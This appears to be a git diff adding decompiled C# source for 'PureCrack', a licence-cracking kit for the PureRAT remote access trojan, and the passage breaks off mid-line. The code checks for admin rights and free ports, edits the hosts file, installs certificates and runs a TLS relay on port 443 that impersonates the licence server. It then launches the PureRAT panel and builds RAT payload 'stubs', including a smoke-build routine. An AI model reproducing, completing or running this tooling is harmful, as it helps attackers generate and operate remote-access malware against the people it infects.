} + try + { + result.PanelExePath = PanelLauncher.FindExe(); + } + catch (FileNotFoundException ex2) + { + result.Problems.Add(ex2.Message); + } + try + { + _ = typeof(CSharpCompilation).Assembly.FullName; + } + catch (Exception ex3) + { + result.Problems.Add("Roslyn (Microsoft.CodeAnalysis.CSharp) not loadable: " + ex3.Message); + } + return result; + } + + public static void Report(Result r) + { + if (r.Ok) + { + Log.Ok("preflight passed (panel at " + r.PanelExePath + ")"); + return; + } + Log.Err($"preflight: {r.Problems.Count} problem(s) — fix all then re-launch:"); + foreach (string problem in r.Problems) + { + Log.Bullet(" - " + problem); + } + } + + private static bool IsAdmin() + { + try + { + using WindowsIdentity ntIdentity = WindowsIdentity.GetCurrent(); + return new WindowsPrincipal(ntIdentity).IsInRole(WindowsBuiltInRole.Administrator); + } + catch + { + return false; + } + } + + private static bool IsTcpPortFree(int port) + { + TcpListener tcpListener = null; + try + { + tcpListener = new TcpListener(IPAddress.Any, port); + tcpListener.Start(); + return true; + } + catch (SocketException) + { + return false; + } + finally + { + try + { + tcpListener?.Stop(); + } + catch + { + } + } + } + + private static string? LookupTcpListenerHolder(int port) + { + try + { + using Process process = Process.Start(new ProcessStartInfo("netstat", "-ano") + { + UseShellExecute = false, + RedirectStandardOutput = true, + CreateNoWindow = true + }); + if (process == null) + { + return null; + } + string text = process.StandardOutput.ReadToEnd(); + process.WaitForExit(5000); + string[] array = text.Split(new char[1] { '\n' }); + for (int i = 0; i < array.Length; i++) + { + string text2 = array[i].Trim(); + if (!text2.StartsWith("TCP", StringComparison.Ordinal)) + { + continue; + } + string[] array2 = text2.Split(new char[2] { ' ', '\t' }, StringSplitOptions.RemoveEmptyEntries); + if (array2.Length >= 5 && !(array2[3] != "LISTENING") && array2[1].EndsWith(":" + port, StringComparison.Ordinal) && int.TryParse(array2[4], out var result)) + { + try + { + Process processById = Process.GetProcessById(result); + return $"PID {result} ({processById.ProcessName})"; + } + catch + { + return $"PID {result}"; + } + } + } + } + catch + { + } + return null; + } +} diff --git a/decompiled/PureCrack/Program.cs b/decompiled/PureCrack/Program.cs new file mode 100644 index 0000000..b8ad6b3 --- /dev/null +++ b/decompiled/PureCrack/Program.cs @@ -0,0 +1,255 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.Security.Cryptography.X509Certificates; +using System.Text; +using System.Threading; +using PureCrack.Build; +using PureCrack.Panel; +using PureCrack.Relay; +using PureCrack.Setup; +using PureCrack.Util; + +namespace PureCrack; + +internal static class Program +{ + public const int RelayPort = 443; + + public const int PanelPort = 56001; + + private static readonly TimeSpan PanelReadyTimeout = TimeSpan.FromMinutes(5.0); + + public static int Main(string[] args) + { + AppDomain.CurrentDomain.UnhandledException += delegate(object _, UnhandledExceptionEventArgs e) + { + WriteCrashLog("AppDomain.UnhandledException", e.ExceptionObject as Exception); + }; + try + { + Console.OutputEncoding = Encoding.UTF8; + } + catch + { + } + try + { + Log.Banner("PureCrack v2.0 ─ PureRAT licence relay"); + Log.Kv("Workspace", Workspace.Root); + Log.Kv("Captures", Workspace.CapturesDir); + Log.Kv("Stubs", Workspace.StubsDir); + if (!CheckEmbeddedAssets()) + { + return PauseAndExit(1); + } + if (args.Length != 0) + { + switch (args[0]) + { + case "smoke-build": + return SmokeBuildCommand(); + case "help": + case "--help": + case "-h": + PrintHelp(); + return 0; + } + } + return RunFullKit(); + } + catch (Exception ex) + { + WriteCrashLog("Main", ex); + return PauseAndExit(2); + } + } + + private static void WriteCrashLog(string source, Exception? ex) + { + string text = $"[{DateTime.Now:yyyy-MM-dd HH:mm:ss}] CRASH ({source})\n" + " Message: " + (ex?.Message ?? "") + "\n Type: " + (ex?.GetType().FullName ?? "") + "\n Stack:\n" + Indent(ex?.ToString() ?? "", " ") + "\n----------------------------------------\n"; + try + { + Console.Error.WriteLine(text); + } + catch + { + } + try + { + string text2 = Path.Combine(Workspace.DataDir, "last-crash.log"); + File.AppendAllText(text2, text); + try + { + Console.Error.WriteLine("crash log: " + text2); + } + catch + { + } + } + catch + { + try + { + File.AppendAllText(Path.Combine(Path.GetDirectoryName(typeof(Program).Assembly.Location) ?? Environment.CurrentDirectory, "last-crash.log"), text); + } + catch + { + } + } + } + + private static string Indent(string s, string prefix) + { + if (string.IsNullOrEmpty(s)) + { + return s; + } + return prefix + s.Replace("\n", "\n" + prefix); + } + + private static int PauseAndExit(int code) + { + try + { + if (!Console.IsInputRedirected) + { + Console.Error.WriteLine(); + Console.Error.WriteLine("Press any key to close..."); + Console.ReadKey(intercept: true); + } + } + catch + { + } + return code; + } + + private static int RunFullKit() + { + Log.Section("preflight"); + Preflight.Result result = Preflight.Run(); + Preflight.Report(result); + if (!result.Ok) + { + return 1; + } + try + { + Log.Section("hosts + certs"); + HostsManager.Ensure(); + X509Certificate2 serverCert = CertManager.EnsureRelayCert(); + byte[] agentPfxBytes = CertManager.EnsureAgentCertPfxBytes(); + Log.Section("relay"); + RouteHandlers routes = new RouteHandlers(agentPfxBytes, EmbeddedAssets.CannedCompileResponse); + using TlsRelay tlsRelay = new TlsRelay(serverCert, routes); + tlsRelay.Start(); + Log.Section("settings + panel"); + string panelExePath = result.PanelExePath; + string text = SettingsAutoFix.FindSettingsJson(panelExePath); + if (text != null) + { + SettingsAutoFix.ReorderIpsToLoopbackFirst(text); + } + else + { + Log.Warn("Settings.json not found near " + panelExePath + " — skipping IPs reorder (set PURE_SETTINGS_JSON if it lives elsewhere)"); + } + using (PanelLauncher.Launch(panelExePath)) + { + ManualResetEventSlim done = new ManualResetEventSlim(initialState: false); + Console.CancelKeyPress += delegate(object _, ConsoleCancelEventArgs e) + { + e.Cancel = true; + done.Set(); + }; + if (PanelLauncher.WaitForListener(56001, PanelReadyTimeout)) + { + Log.Banner("READY ─ panel + relay running"); + Log.Info("click 'Builder Settings → Build' in the panel to produce a stub"); + Log.Info("stubs land in runs/stubs/. captures in runs/captures/."); + Log.Info("Ctrl-C to stop the relay (panel keeps running)."); + } + else + { + object arg = 56001; + TimeSpan panelReadyTimeout = PanelReadyTimeout; + Log.Warn($"panel didn't bind :{arg} within {panelReadyTimeout.TotalMinutes:0} min — " + "did you click Login? relay is still listening, so it's not too late."); + } + done.Wait(); + Log.Section("shutdown"); + tlsRelay.Stop(); + Log.Info("relay stopped. panel left running. exiting."); + return 0; + } + } + catch (Exception ex) + { + Log.Err("fatal: " + ex.Message); + Log.Bullet(ex.ToString()); + return 1; + } + } + + private static bool CheckEmbeddedAssets() + { + try + { + _ = EmbeddedAssets.InnerSources.Count; + _ = EmbeddedAssets.LoaderTemplate.Length; + _ = EmbeddedAssets.ProtobufNetDll.Length; + _ = EmbeddedAssets.CannedCompileResponse.Length; + Log.Ok($"embedded assets OK ({EmbeddedAssets.InnerSources.Count} inner sources, " + $"{EmbeddedAssets.ProtobufNetDll.Length:N0}b protobuf-net.dll, " + $"{EmbeddedAssets.CannedCompileResponse.Length:N0}b canned /compile)"); + return true; + } + catch (Exception ex) + { + Log.Err("embedded assets missing — corrupted EXE? " + ex.Message); + return false; + } + } + + private static int SmokeBuildCommand() + { + Log.Section("smoke-build: exercise the StubBuilder pipeline only"); + BuildConfig cfg = new BuildConfig + { + Ips = new List { "127.0.0.1" }, + Ports = new List { 56001 }, + CertPfxBase64 = "", + Group = "smoke-test", + Mutex = "purecrack-smoke" + }; + try + { + byte[] array = StubBuilder.Build(cfg); + string text = Path.Combine(Workspace.StubsDir, $"smoke_{DateTime.Now:yyyyMMdd_HHmmss}.exe"); + File.WriteAllBytes(text, array); + Log.Ok($"smoke-build OK — wrote {array.Length:N0}b stub to {text}"); + return 0; + } + catch (Exception ex) + { + Log.Err("smoke-build FAILED: " + ex.Message); + Log.Bullet(ex.ToString()); + return 1; + } + } + + private static void PrintHelp() + { + Console.WriteLine(); + Console.WriteLine("Usage: PureCrack.exe [subcommand]"); + Console.WriteLine(); + Console.WriteLine("With no subcommand: starts the full kit (relay + panel launch)."); + Console.WriteLine(); + Console.WriteLine("Subcommands:"); + Console.WriteLine(" smoke-build Exercise the stub builder pipeline only (CI test)"); + Console.WriteLine(" help Show this message"); + Console.WriteLine(); + Console.WriteLine("Environment overrides:"); + Console.WriteLine(" PURECRACK_WORKSPACE Override workspace root (default: EXE dir)"); + Console.WriteLine(" PURE_PANEL_EXE Path to PureRAT.exe"); + Console.WriteLine(" PURE_SETTINGS_JSON Path to panel's Settings.json (default: sibling of PURE_PANEL_EXE)"); + } +} diff --git a/decompiled/PureCrack_ProcessedByFody.cs b/decompiled/PureCrack_ProcessedByFody.cs new file mode 100644 index 0000000..08a13c9 --- /dev/null +++ b/decompiled/PureCrack_ProcessedByFody.cs @@ -0,0 +1,6 @@ +internal class PureCrack_ProcessedByFody +{ + internal const string FodyVersion = "6.8.0.0"; + + internal const string Costura = "5.7.0"; +} diff --git a/decompiled/System.Runtime.CompilerServices/IsExternalInit.cs b/decompiled/System.Runtime.CompilerServices/IsExternalInit.cs new file mode 100644 index 0000000..b05eb4a --- /dev/null +++ b/decompiled/System.Runtime.CompilerServices/IsExternalInit.cs @@ -0,0 +1,5 @@ +namespace System.Runtime.CompilerServices; + +internal static class IsExternalInit +{ +} diff --git a/decompiled/app.manifest b/decompiled/app.manifest new file mode 100644 index 0000000..3d5c9e0 --- /dev/null +++ b/decompiled/app.manifest @@ -0,0 +1,24 @@ + + + + + + + + + + + + + + + + + + + + + diff --git a/decompiled/costura.costura.dll.compressed b/decompiled/costura.costura.dll.compressed new file mode 100644 index 0000000..da13dee Binary files /dev/null and b/decompiled/costura.costura.dll.compressed differ diff --git a/decompiled/costura.costura.pdb.compressed b/decompiled/costura.costura.pdb.compressed new file mode 100644 index 0000000..f1baa00 Binary files /dev/null and b/decompiled/costura.costura.pdb.compressed differ diff --git a/decompiled/costura.cs.microsoft.codeanalysis.csharp.resources.dll.compressed b/decompiled/costura.cs.microsoft.codeanalysis.csharp.resources.dll.compressed new file mode 100644 index 0000000..a448037 Binary files /dev/null and b/decompiled/costura.cs.microsoft.codeanalysis.csharp.resources.dll.compressed differ diff --git a/decompiled/costura.cs.microsoft.codeanalysis.resources.dll.compressed b/decompiled/costura.cs.microsoft.codeanalysis.resources.dll.compressed new file mode 100644 index 0000000..c2b118d Binary files /dev/null and b/decompiled/costura.cs.microsoft.codeanalysis.resources.dll.compressed differ diff --git a/decompiled/costura.de.microsoft.codeanalysis.csharp.resources.dll.compressed b/decompiled/costura.de.microsoft.codeanalysis.csharp.resources.dll.compressed new file mode 100644 index 0000000..2152629 Binary files /dev/null and b/decompiled/costura.de.microsoft.codeanalysis.csharp.resources.dll.compressed differ diff --git a/decompiled/costura.de.microsoft.codeanalysis.resources.dll.compressed b/decompiled/costura.de.microsoft.codeanalysis.resources.dll.compressed new file mode 100644 index 0000000..8b4c35c Binary files /dev/null and b/decompiled/costura.de.microsoft.codeanalysis.resources.dll.compressed differ diff --git a/decompiled/costura.es.microsoft.codeanalysis.csharp.resources.dll.compressed b/decompiled/costura.es.microsoft.codeanalysis.csharp.resources.dll.compressed new file mode 100644 index 0000000..71c9330 Binary files /dev/null and b/decompiled/costura.es.microsoft.codeanalysis.csharp.resources.dll.compressed differ diff --git a/decompiled/costura.es.microsoft.codeanalysis.resources.dll.compressed b/decompiled/costura.es.microsoft.codeanalysis.resources.dll.compressed new file mode 100644 index 0000000..c6b46fc Binary files /dev/null and b/decompiled/costura.es.microsoft.codeanalysis.resources.dll.compressed differ diff --git a/decompiled/costura.fr.microsoft.codeanalysis.csharp.resources.dll.compressed b/decompiled/costura.fr.microsoft.codeanalysis.csharp.resources.dll.compressed new file mode 100644 index 0000000..08cc4b0 Binary files /dev/null and b/decompiled/costura.fr.microsoft.codeanalysis.csharp.resources.dll.compressed differ diff --git a/decompiled/costura.fr.microsoft.codeanalysis.resources.dll.compressed b/decompiled/costura.fr.microsoft.codeanalysis.resources.dll.compressed new file mode 100644 index 0000000..638e9a0 Binary files /dev/null and b/decompiled/costura.fr.microsoft.codeanalysis.resources.dll.compressed differ diff --git a/decompiled/costura.it.microsoft.codeanalysis.csharp.resources.dll.compressed b/decompiled/costura.it.microsoft.codeanalysis.csharp.resources.dll.compressed new file mode 100644 index 0000000..808d308 Binary files /dev/null and b/decompiled/costura.it.microsoft.codeanalysis.csharp.resources.dll.compressed differ diff --git a/decompiled/costura.it.microsoft.codeanalysis.resources.dll.compressed b/decompiled/costura.it.microsoft.codeanalysis.resources.dll.compressed new file mode 100644 index 0000000..b254b9b Binary files /dev/null and b/decompiled/costura.it.microsoft.codeanalysis.resources.dll.compressed differ diff --git a/decompiled/costura.ja.microsoft.codeanalysis.csharp.resources.dll.compressed b/decompiled/costura.ja.microsoft.codeanalysis.csharp.resources.dll.compressed new file mode 100644 index 0000000..98e1f30 Binary files /dev/null and b/decompiled/costura.ja.microsoft.codeanalysis.csharp.resources.dll.compressed differ diff --git a/decompiled/costura.ja.microsoft.codeanalysis.resources.dll.compressed b/decompiled/costura.ja.microsoft.codeanalysis.resources.dll.compressed new file mode 100644 index 0000000..0ae45b7 Binary files /dev/null and b/decompiled/costura.ja.microsoft.codeanalysis.resources.dll.compressed differ diff --git a/decompiled/costura.ko.microsoft.codeanalysis.csharp.resources.dll.compressed b/decompiled/costura.ko.microsoft.codeanalysis.csharp.resources.dll.compressed new file mode 100644 index 0000000..123c742 Binary files /dev/null and b/decompiled/costura.ko.microsoft.codeanalysis.csharp.resources.dll.compressed differ diff --git a/decompiled/costura.ko.microsoft.codeanalysis.resources.dll.compressed b/decompiled/costura.ko.microsoft.codeanalysis.resources.dll.compressed new file mode 100644 index 0000000..bff7a2b Binary files /dev/null and b/decompiled/costura.ko.microsoft.codeanalysis.resources.dll.compressed differ diff --git a/decompiled/costura.metadata b/decompiled/costura.metadata new file mode 100644 index 0000000..77138c9 --- /dev/null +++ b/decompiled/costura.metadata @@ -0,0 +1,45 @@ +costura.costura.dll.compressed|5.7.0.0|Costura, Version=5.7.0.0, Culture=neutral, PublicKeyToken=null|Costura.dll|F1F25C01F6ACF33BDD62C4F82D3EF078E76F0906|4608 +costura.costura.pdb.compressed|||Costura.pdb|6C6000A5EAF8579850AB82A89BD6268776EB51AD|2608 +costura.microsoft.bcl.asyncinterfaces.dll.compressed|8.0.0.0|Microsoft.Bcl.AsyncInterfaces, Version=8.0.0.0, Culture=neutral, PublicKeyToken=cc7b13ffcd2ddd51|Microsoft.Bcl.AsyncInterfaces.dll|74DC07A8CCCEE0CA3BF5CF64320230CA1A37AD85|26904 +costura.microsoft.codeanalysis.dll.compressed|4.8.0.0|Microsoft.CodeAnalysis, Version=4.8.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35|Microsoft.CodeAnalysis.dll|E6C2F5DB8D9EF7E40D0CE23A6C1DF9C479C8E19D|4706480 +costura.microsoft.codeanalysis.pdb.compressed|||Microsoft.CodeAnalysis.pdb|0E12BED37640CB2263D3421AD90E537E63D4C3ED|1011532 +costura.microsoft.codeanalysis.csharp.dll.compressed|4.8.0.0|Microsoft.CodeAnalysis.CSharp, Version=4.8.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35|Microsoft.CodeAnalysis.CSharp.dll|E241AE91BDD901944ACE161090C99143DC56BFEF|8005280 +costura.microsoft.codeanalysis.csharp.pdb.compressed|||Microsoft.CodeAnalysis.CSharp.pdb|437E5B3F1CEA319C83240790A6521ECE814BDD04|2815944 +costura.system.buffers.dll.compressed|4.0.3.0|System.Buffers, Version=4.0.3.0, Culture=neutral, PublicKeyToken=cc7b13ffcd2ddd51|System.Buffers.dll|2F410A0396BC148ED533AD49B6415FB58DD4D641|20856 +costura.system.collections.immutable.dll.compressed|7.0.0.0|System.Collections.Immutable, Version=7.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a|System.Collections.Immutable.dll|2F1EBB67E21B33C74C4C6CF217AC1F797959F18B|198784 +costura.system.diagnostics.diagnosticsource.dll.compressed|4.0.1.0|System.Diagnostics.DiagnosticSource, Version=4.0.1.0, Culture=neutral, PublicKeyToken=cc7b13ffcd2ddd51|System.Diagnostics.DiagnosticSource.dll|85DC92EDD4B0049ED9049E075C4DEF8A3D64E43B|35760 +costura.system.memory.dll.compressed|4.0.1.2|System.Memory, Version=4.0.1.2, Culture=neutral, PublicKeyToken=cc7b13ffcd2ddd51|System.Memory.dll|3C5C5DF5F8F8DB3F0A35C5ED8D357313A54E3CDE|142240 +costura.system.numerics.vectors.dll.compressed|4.1.4.0|System.Numerics.Vectors, Version=4.1.4.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a|System.Numerics.Vectors.dll|3D216458740AD5CB05BC5F7C3491CDE44A1E5DF0|115856 +costura.system.reflection.metadata.dll.compressed|7.0.0.0|System.Reflection.Metadata, Version=7.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a|System.Reflection.Metadata.dll|0BD0BBA896496B0E30AB059FDDD74834B3247958|466576 +costura.system.runtime.compilerservices.unsafe.dll.compressed|6.0.0.0|System.Runtime.CompilerServices.Unsafe, Version=6.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a|System.Runtime.CompilerServices.Unsafe.dll|180A7BAAFBC820A838BBACA434032D9D33CCEEBE|18024 +costura.system.text.encoding.codepages.dll.compressed|7.0.0.0|System.Text.Encoding.CodePages, Version=7.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a|System.Text.Encoding.CodePages.dll|6B7198566D80D2C9C2D3629BB1BDE3CC2D8921B8|764560 +costura.system.text.encodings.web.dll.compressed|8.0.0.0|System.Text.Encodings.Web, Version=8.0.0.0, Culture=neutral, PublicKeyToken=cc7b13ffcd2ddd51|System.Text.Encodings.Web.dll|55DDFBE80762C02F9A9C65809F9EC3EF8F7F2CCC|79024 +costura.system.text.json.dll.compressed|8.0.0.5|System.Text.Json, Version=8.0.0.5, Culture=neutral, PublicKeyToken=cc7b13ffcd2ddd51|System.Text.Json.dll|D3AD7F529C0B9232206348842E31566AD7347135|644888 +costura.system.threading.tasks.extensions.dll.compressed|4.2.0.1|System.Threading.Tasks.Extensions, Version=4.2.0.1, Culture=neutral, PublicKeyToken=cc7b13ffcd2ddd51|System.Threading.Tasks.Extensions.dll|2242627282F9E07E37B274EA36FAC2D3CD9C9110|25984 +costura.system.valuetuple.dll.compressed|4.0.3.0|System.ValueTuple, Version=4.0.3.0, Culture=neutral, PublicKeyToken=cc7b13ffcd2ddd51|System.ValueTuple.dll|D1664731719E85AAD7A2273685D77FEB0204EC98|25232 +costura.cs.microsoft.codeanalysis.resources.dll.compressed|4.8.0.0|Microsoft.CodeAnalysis.resources, Version=4.8.0.0, Culture=cs, PublicKeyToken=31bf3856ad364e35|cs/Microsoft.CodeAnalysis.resources.dll|C7549AAF3804936AE9C77A899D94DA8F314B77C2|46768 +costura.de.microsoft.codeanalysis.resources.dll.compressed|4.8.0.0|Microsoft.CodeAnalysis.resources, Version=4.8.0.0, Culture=de, PublicKeyToken=31bf3856ad364e35|de/Microsoft.CodeAnalysis.resources.dll|D9DE4323C80F052D6E8BD47226F3CD50082B99FC|48304 +costura.es.microsoft.codeanalysis.resources.dll.compressed|4.8.0.0|Microsoft.CodeAnalysis.resources, Version=4.8.0.0, Culture=es, PublicKeyToken=31bf3856ad364e35|es/Microsoft.CodeAnalysis.resources.dll|66BDF5227D86E8955F3D53A9352E79651146EDC1|48288 +costura.fr.microsoft.codeanalysis.resources.dll.compressed|4.8.0.0|Microsoft.CodeAnalysis.resources, Version=4.8.0.0, Culture=fr, PublicKeyToken=31bf3856ad364e35|fr/Microsoft.CodeAnalysis.resources.dll|702CD3C10626B11ECBA202B61B1DC1C8A1ACF4F6|48800 +costura.it.microsoft.codeanalysis.resources.dll.compressed|4.8.0.0|Microsoft.CodeAnalysis.resources, Version=4.8.0.0, Culture=it, PublicKeyToken=31bf3856ad364e35|it/Microsoft.CodeAnalysis.resources.dll|BC6C33648C557F603D9E99564BC07528079ACB84|48800 +costura.ja.microsoft.codeanalysis.resources.dll.compressed|4.8.0.0|Microsoft.CodeAnalysis.resources, Version=4.8.0.0, Culture=ja, PublicKeyToken=31bf3856ad364e35|ja/Microsoft.CodeAnalysis.resources.dll|BDFBF62564B0D8EAC2E62823764A727688CB0702|51872 +costura.ko.microsoft.codeanalysis.resources.dll.compressed|4.8.0.0|Microsoft.CodeAnalysis.resources, Version=4.8.0.0, Culture=ko, PublicKeyToken=31bf3856ad364e35|ko/Microsoft.CodeAnalysis.resources.dll|CC5A9F58D32472737B9C4E32130617842CA3A5CB|48800 +costura.pl.microsoft.codeanalysis.resources.dll.compressed|4.8.0.0|Microsoft.CodeAnalysis.resources, Version=4.8.0.0, Culture=pl, PublicKeyToken=31bf3856ad364e35|pl/Microsoft.CodeAnalysis.resources.dll|CE4DA2EBAD49C33C33BEB0A440ECC385B63E1A84|48816 +costura.pt-br.microsoft.codeanalysis.resources.dll.compressed|4.8.0.0|Microsoft.CodeAnalysis.resources, Version=4.8.0.0, Culture=pt-BR, PublicKeyToken=31bf3856ad364e35|pt-BR/Microsoft.CodeAnalysis.resources.dll|3DBB1B41483639E763B3A84E674B70D597DF9141|47264 +costura.ru.microsoft.codeanalysis.resources.dll.compressed|4.8.0.0|Microsoft.CodeAnalysis.resources, Version=4.8.0.0, Culture=ru, PublicKeyToken=31bf3856ad364e35|ru/Microsoft.CodeAnalysis.resources.dll|6E30F7A88FDBDA35B34784F8B044C5628A43962A|58544 +costura.tr.microsoft.codeanalysis.resources.dll.compressed|4.8.0.0|Microsoft.CodeAnalysis.resources, Version=4.8.0.0, Culture=tr, PublicKeyToken=31bf3856ad364e35|tr/Microsoft.CodeAnalysis.resources.dll|ED7C51F2B8C4B21F782D52D1693A33048EE7629F|46768 +costura.zh-hans.microsoft.codeanalysis.resources.dll.compressed|4.8.0.0|Microsoft.CodeAnalysis.resources, Version=4.8.0.0, Culture=zh-Hans, PublicKeyToken=31bf3856ad364e35|zh-Hans/Microsoft.CodeAnalysis.resources.dll|645FD09F3DB16CDC9D9EE613B1DDAB3311A300E2|43680 +costura.zh-hant.microsoft.codeanalysis.resources.dll.compressed|4.8.0.0|Microsoft.CodeAnalysis.resources, Version=4.8.0.0, Culture=zh-Hant, PublicKeyToken=31bf3856ad364e35|zh-Hant/Microsoft.CodeAnalysis.resources.dll|3F278AA5D40C60EE718E0C2596BC22AB89A84D10|44192 +costura.cs.microsoft.codeanalysis.csharp.resources.dll.compressed|4.8.0.0|Microsoft.CodeAnalysis.CSharp.resources, Version=4.8.0.0, Culture=cs, PublicKeyToken=31bf3856ad364e35|cs/Microsoft.CodeAnalysis.CSharp.resources.dll|9437ED060D16497D2B8C319E6D15A46E201A7154|421536 +costura.de.microsoft.codeanalysis.csharp.resources.dll.compressed|4.8.0.0|Microsoft.CodeAnalysis.CSharp.resources, Version=4.8.0.0, Culture=de, PublicKeyToken=31bf3856ad364e35|de/Microsoft.CodeAnalysis.CSharp.resources.dll|E3CFBDABD39C75980739E98007B23BEB21571EAB|450208 +costura.es.microsoft.codeanalysis.csharp.resources.dll.compressed|4.8.0.0|Microsoft.CodeAnalysis.CSharp.resources, Version=4.8.0.0, Culture=es, PublicKeyToken=31bf3856ad364e35|es/Microsoft.CodeAnalysis.CSharp.resources.dll|B08F143E844495129B615AE620B1421394F7E98B|440480 +costura.fr.microsoft.codeanalysis.csharp.resources.dll.compressed|4.8.0.0|Microsoft.CodeAnalysis.CSharp.resources, Version=4.8.0.0, Culture=fr, PublicKeyToken=31bf3856ad364e35|fr/Microsoft.CodeAnalysis.CSharp.resources.dll|028E1A466B4C0E944F4B8433D10B66BEA74ED84E|451248 +costura.it.microsoft.codeanalysis.csharp.resources.dll.compressed|4.8.0.0|Microsoft.CodeAnalysis.CSharp.resources, Version=4.8.0.0, Culture=it, PublicKeyToken=31bf3856ad364e35|it/Microsoft.CodeAnalysis.CSharp.resources.dll|32229B1EA31691652B9A5B78A4571A852B33AE7D|447152 +costura.ja.microsoft.codeanalysis.csharp.resources.dll.compressed|4.8.0.0|Microsoft.CodeAnalysis.CSharp.resources, Version=4.8.0.0, Culture=ja, PublicKeyToken=31bf3856ad364e35|ja/Microsoft.CodeAnalysis.CSharp.resources.dll|70556BF6FA813A51FD4F2BB208C82656F23A8F48|492704 +costura.ko.microsoft.codeanalysis.csharp.resources.dll.compressed|4.8.0.0|Microsoft.CodeAnalysis.CSharp.resources, Version=4.8.0.0, Culture=ko, PublicKeyToken=31bf3856ad364e35|ko/Microsoft.CodeAnalysis.CSharp.resources.dll|3B306B78758E2F82C6D3897B20307BE9BF7F1816|452256 +costura.pl.microsoft.codeanalysis.csharp.resources.dll.compressed|4.8.0.0|Microsoft.CodeAnalysis.CSharp.resources, Version=4.8.0.0, Culture=pl, PublicKeyToken=31bf3856ad364e35|pl/Microsoft.CodeAnalysis.CSharp.resources.dll|11926EDA6014396D9C901198F39F15D20E521DEF|453280 +costura.pt-br.microsoft.codeanalysis.csharp.resources.dll.compressed|4.8.0.0|Microsoft.CodeAnalysis.CSharp.resources, Version=4.8.0.0, Culture=pt-BR, PublicKeyToken=31bf3856ad364e35|pt-BR/Microsoft.CodeAnalysis.CSharp.resources.dll|E6896CE38DF6230BE366710B2C2B5B54F81138A7|432800 +costura.ru.microsoft.codeanalysis.csharp.resources.dll.compressed|4.8.0.0|Microsoft.CodeAnalysis.CSharp.resources, Version=4.8.0.0, Culture=ru, PublicKeyToken=31bf3856ad364e35|ru/Microsoft.CodeAnalysis.CSharp.resources.dll|E677A30AE42474FDAF1F92DC27537A0A21884F18|595104 +costura.tr.microsoft.codeanalysis.csharp.resources.dll.compressed|4.8.0.0|Microsoft.CodeAnalysis.CSharp.resources, Version=4.8.0.0, Culture=tr, PublicKeyToken=31bf3856ad364e35|tr/Microsoft.CodeAnalysis.CSharp.resources.dll|37792D59966A67021550D6C266D95416CFC85B22|429216 +costura.zh-hans.microsoft.codeanalysis.csharp.resources.dll.compressed|4.8.0.0|Microsoft.CodeAnalysis.CSharp.resources, Version=4.8.0.0, Culture=zh-Hans, PublicKeyToken=31bf3856ad364e35|zh-Hans/Microsoft.CodeAnalysis.CSharp.resources.dll|C14AC882E518E93525C77BB4094B05CED7A8B31F|382128 +costura.zh-hant.microsoft.codeanalysis.csharp.resources.dll.compressed|4.8.0.0|Microsoft.CodeAnalysis.CSharp.resources, Version=4.8.0.0, Culture=zh-Hant, PublicKeyToken=31bf3856ad364e35|zh-Hant/Microsoft.CodeAnalysis.CSharp.resources.dll|0BCDFA36AF2C7EBEF19982872D251D99793648F8|381600 diff --git a/decompiled/costura.microsoft.bcl.asyncinterfaces.dll.compressed b/decompiled/costura.microsoft.bcl.asyncinterfaces.dll.compressed new file mode 100644 index 0000000..787a0e9 Binary files /dev/null and b/decompiled/costura.microsoft.bcl.asyncinterfaces.dll.compressed differ diff --git a/decompiled/costura.microsoft.codeanalysis.csharp.dll.compressed b/decompiled/costura.microsoft.codeanalysis.csharp.dll.compressed new file mode 100644 index 0000000..8e9c8ef Binary files /dev/null and b/decompiled/costura.microsoft.codeanalysis.csharp.dll.compressed differ diff --git a/decompiled/costura.microsoft.codeanalysis.csharp.pdb.compressed b/decompiled/costura.microsoft.codeanalysis.csharp.pdb.compressed new file mode 100644 index 0000000..3bd438c Binary files /dev/null and b/decompiled/costura.microsoft.codeanalysis.csharp.pdb.compressed differ diff --git a/decompiled/costura.microsoft.codeanalysis.dll.compressed b/decompiled/costura.microsoft.codeanalysis.dll.compressed new file mode 100644 index 0000000..54f48fb Binary files /dev/null and b/decompiled/costura.microsoft.codeanalysis.dll.compressed differ diff --git a/decompiled/costura.microsoft.codeanalysis.pdb.compressed b/decompiled/costura.microsoft.codeanalysis.pdb.compressed new file mode 100644 index 0000000..af6fc50 Binary files /dev/null and b/decompiled/costura.microsoft.codeanalysis.pdb.compressed differ diff --git a/decompiled/costura.pl.microsoft.codeanalysis.csharp.resources.dll.compressed b/decompiled/costura.pl.microsoft.codeanalysis.csharp.resources.dll.compressed new file mode 100644 index 0000000..5e8aeb4 Binary files /dev/null and b/decompiled/costura.pl.microsoft.codeanalysis.csharp.resources.dll.compressed differ diff --git a/decompiled/costura.pl.microsoft.codeanalysis.resources.dll.compressed b/decompiled/costura.pl.microsoft.codeanalysis.resources.dll.compressed new file mode 100644 index 0000000..50fd882 Binary files /dev/null and b/decompiled/costura.pl.microsoft.codeanalysis.resources.dll.compressed differ diff --git a/decompiled/costura.pt-br.microsoft.codeanalysis.csharp.resources.dll.compressed b/decompiled/costura.pt-br.microsoft.codeanalysis.csharp.resources.dll.compressed new file mode 100644 index 0000000..16ce1a1 Binary files /dev/null and b/decompiled/costura.pt-br.microsoft.codeanalysis.csharp.resources.dll.compressed differ diff --git a/decompiled/costura.pt-br.microsoft.codeanalysis.resources.dll.compressed b/decompiled/costura.pt-br.microsoft.codeanalysis.resources.dll.compressed new file mode 100644 index 0000000..db18d6c Binary files /dev/null and b/decompiled/costura.pt-br.microsoft.codeanalysis.resources.dll.compressed differ diff --git a/decompiled/costura.ru.microsoft.codeanalysis.csharp.resources.dll.compressed b/decompiled/costura.ru.microsoft.codeanalysis.csharp.resources.dll.compressed new file mode 100644 index 0000000..5e3e7f7 Binary files /dev/null and b/decompiled/costura.ru.microsoft.codeanalysis.csharp.resources.dll.compressed differ diff --git a/decompiled/costura.ru.microsoft.codeanalysis.resources.dll.compressed b/decompiled/costura.ru.microsoft.codeanalysis.resources.dll.compressed new file mode 100644 index 0000000..c899fda Binary files /dev/null and b/decompiled/costura.ru.microsoft.codeanalysis.resources.dll.compressed differ diff --git a/decompiled/costura.system.buffers.dll.compressed b/decompiled/costura.system.buffers.dll.compressed new file mode 100644 index 0000000..d832a52 Binary files /dev/null and 